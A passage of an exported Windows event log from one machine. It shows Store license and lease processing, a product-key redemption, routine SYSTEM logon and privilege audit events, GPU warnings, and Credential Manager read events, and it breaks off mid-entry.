NULL\tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.616\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:29.616\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:29.623\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.623\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.623\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8001\t\"0000021F831D31E0: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8011\t0x21f83133e68: 16532: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8011\t0x21f831d3200: 16532: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8001\t\"0000021F831D31E0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8012\t0x21f831d3200: 16532: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.626\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.626\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8001\t\"lease = 0x831ad058, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8001\t\"lease = 0x831ad058, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8011\t0x21f831d3200: 16532: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"lease = 0x831ad058, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Lease Machine: 0000021F8312B600: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Set results for lease = 0x831ad058, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ad058\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8012\t0x21f831d3200: 16532: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8012\t0x21f8312b620: 16532: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f831d3200: 4424: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f831d3200: 10704: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8012\t0x21f831d3200: 10704: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 43.043484 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8012\t0x21f8312b620: 16532: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:29.635\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.635\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.636\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.636\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.678\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:29.678\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:29.836\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.043\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.043\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon 